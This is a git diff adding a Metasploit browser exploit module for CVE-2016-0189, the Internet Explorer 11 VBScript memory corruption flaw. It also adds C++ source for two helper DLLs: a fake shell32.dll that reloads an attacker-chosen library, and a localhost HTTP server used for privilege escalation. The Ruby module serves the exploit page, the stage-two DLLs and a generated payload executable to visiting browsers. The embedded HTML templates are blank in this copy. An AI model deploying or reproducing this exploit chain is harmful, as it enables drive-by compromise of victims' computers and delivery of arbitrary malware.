diff --git a/data/exploits/cve-2016-0189/ielocalserver.dll b/data/exploits/cve-2016-0189/ielocalserver.dll new file mode 100644 index 0000000000..4993989f32 Binary files /dev/null and b/data/exploits/cve-2016-0189/ielocalserver.dll differ diff --git a/data/exploits/cve-2016-0189/ieshell32.dll b/data/exploits/cve-2016-0189/ieshell32.dll new file mode 100644 index 0000000000..898081d89b Binary files /dev/null and b/data/exploits/cve-2016-0189/ieshell32.dll differ diff --git a/external/source/exploits/cve-2016-0189/ielocalserver.cpp b/external/source/exploits/cve-2016-0189/ielocalserver.cpp new file mode 100644 index 0000000000..4e90beab69 --- /dev/null +++ b/external/source/exploits/cve-2016-0189/ielocalserver.cpp @@ -0,0 +1,183 @@ +/* +From: https://gist.github.com/worawit/1213febe36aa8331e092 + +Simple local HTTP server for IE (with no AppContainer) privilege escalation. + +I implemented local server instead of proxy in Ref because +local server is easier to code. But local server is less useful then proxy. + +Ref: +http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb + +Note: +From my test, by default IE does not configure intranet site. +With this default, localhost is treated as internet site (run as low integrity). +*/ +#define _CRT_SECURE_NO_WARNINGS +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") + +#define SERVER_PORT 5555 + +static HANDLE hThread = NULL; + +static WCHAR stage2file[256]; + +static SOCKET serverSk = INVALID_SOCKET; +static SOCKET peerSk = INVALID_SOCKET; + +static SOCKET create_server() +{ + struct sockaddr_in skAddr; + SOCKET sk; + int optval; + + sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sk == INVALID_SOCKET) + return INVALID_SOCKET; + + optval = 1; + setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, (char*) &optval, sizeof(optval)); + + memset(&skAddr, 0, sizeof(skAddr)); + skAddr.sin_family = AF_INET; + skAddr.sin_port = htons(SERVER_PORT); + skAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); + + if (bind(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0) + goto on_error; + + if (listen(sk, 5) != 0) + goto on_error; + + return sk; + +on_error: + closesocket(sk); + return SOCKET_ERROR; +} + +static int send_all(SOCKET sk, char *buffer, int size) +{ + int len; + while (size > 0) { + len = send(sk, buffer, size, 0); + if (len <= 0) + return 0; + buffer += len; + size -= len; + } + + return 1; +} + +static int local_server() +{ + int len; + int totalSize; + char buffer[4096]; + HANDLE hFile = INVALID_HANDLE_VALUE; + + serverSk = create_server(); + if (serverSk == INVALID_SOCKET) + return SOCKET_ERROR; + + while (1) { + peerSk = accept(serverSk, NULL, NULL); + if (peerSk == INVALID_SOCKET) { + continue; + } + + len = recv(peerSk, buffer, sizeof(buffer), 0); + if (len <= 0) + goto closepeer; + + hFile = CreateFile(stage2file, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) + break; + + totalSize = GetFileSize(hFile, NULL); + if (totalSize == INVALID_FILE_SIZE) + break; + + len = _snprintf(buffer, sizeof(buffer), + "HTTP/1.1 200 OK\r\n" + "Content-Type: text/html\r\n" + "Connection: Close\r\n" + "Content-Length: %d\r\n" + "\r\n", + totalSize + ); + send_all(peerSk, buffer, len); + + while (totalSize > 0) { + ReadFile(hFile, buffer, sizeof(buffer), (DWORD*) &len, NULL); + send_all(peerSk, buffer, len); + totalSize -= len; + } + CloseHandle(hFile); + hFile = INVALID_HANDLE_VALUE; + +closepeer: + closesocket(peerSk); + peerSk = INVALID_SOCKET; + } + + if (hFile != INVALID_HANDLE_VALUE) { + CloseHandle(hFile); + } + if (peerSk != INVALID_SOCKET) { + closesocket(peerSk); + peerSk = INVALID_SOCKET; + } + if (serverSk != INVALID_SOCKET) { + closesocket(serverSk); + serverSk = INVALID_SOCKET; + } + + return 0; +} + +DWORD WINAPI threadProc(void *param) +{ + WSADATA wsaData; + WSAStartup(MAKEWORD(2 ,2), &wsaData); + + local_server(); + + WSACleanup(); + + DeleteFile(stage2file); + return 0; +} + +void do_work() +{ + GetEnvironmentVariableW(L"stage2file", stage2file, sizeof(stage2file)); + + hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL); +} + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + do_work(); + break; + case DLL_PROCESS_DETACH: + if (hThread) { + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + } + break; + } + return TRUE; +} diff --git a/external/source/exploits/cve-2016-0189/ieshell32.cpp b/external/source/exploits/cve-2016-0189/ieshell32.cpp new file mode 100644 index 0000000000..9f7bb84090 --- /dev/null +++ b/external/source/exploits/cve-2016-0189/ieshell32.cpp @@ -0,0 +1,39 @@ +/* +From: https://gist.github.com/worawit/1213febe36aa8331e092 + +Fake shell32.dll to be loaded after modified %SystemRoot% +*/ +#define WIN32_LEAN_AND_MEAN +#include + +static void do_work() +{ + WCHAR envBuffer[256]; + + GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer)); + // restore system root + SetEnvironmentVariableW(L"SystemRoot", envBuffer); + //SetEnvironmentVariableW(L"SaveSystemRoot", NULL); + + GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer)); + SetEnvironmentVariableW(L"MyDllPath", NULL); + + // shell32.dll will be unloaded, use another dll + LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); +} + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + do_work(); + break; + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} diff --git a/modules/exploits/windows/browser/ms16_051_vbscript.rb b/modules/exploits/windows/browser/ms16_051_vbscript.rb new file mode 100644 index 0000000000..9b3f19485c --- /dev/null +++ b/modules/exploits/windows/browser/ms16_051_vbscript.rb @@ -0,0 +1,494 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "template", + 'Description' => %q{ + This module exploits the memory corruption vulnerability (CVE-2016-0189) + present in the VBScript engine of Internet Explorer 11. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Theori', # Original RE research and exploitation + 'William Webb ' # Metasploit module + ], + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => HttpClients::IE, + :ua_ver => '11.0' + }, + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'Windows 10 with IE 11', + { + 'os_flavor' => '10', + 'ua_name' => 'MSIE', + 'ua_ver' => '11.0' + } + ] + ], + 'References' => + [ + [ 'CVE', '2016-0189' ], + [ 'MSB', 'MS16-051' ] + ], + 'Arch' => ARCH_X86_64, + 'DefaultTarget' => 0)) + end + + def setup + # @stage2html = Rex::Text.rand_text_alphanum(6) + @ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri + @localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri + @pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html + @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}" + @payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe" + File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read } + File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read } + super + end + + def exploit_html(req_uri) + srvhost = datastore['SRVHOST'] + srvport = datastore['SRVPORT'] + + template = <<-EOF + + + + + + + + + + + + + + EOF + + template + end + + def stage2_html(req_uri) + + template = <<-EOF + + + + + + + + + + + + EOF + template + end + + def on_request_uri(cli, request) + # used for some debugging stuff + ies = @ieshell + ls = @localsrv + pm = @pm_escape_html + + print_status("Received request: #{request.uri}") + if request.uri =~ /.*#{ies}.*$/ + print_status("Sending stage two DLL ...") + send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{ls}.*$/ + print_status("Sending local server DLL ...") + send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{pm}.*$/ + rq = "#{get_resource.chomp('/')}" + gm = stage2_html(rq) + send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{@payload_uri}$/ + return if ((payload = regenerate_payload(cli)) == nil) + print_status("Sending payload ...") + send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' }) + else + print_status("Sending main page ..") + send_response(cli, exploit_html(request.uri)) + end + end + +end \ No newline at end of file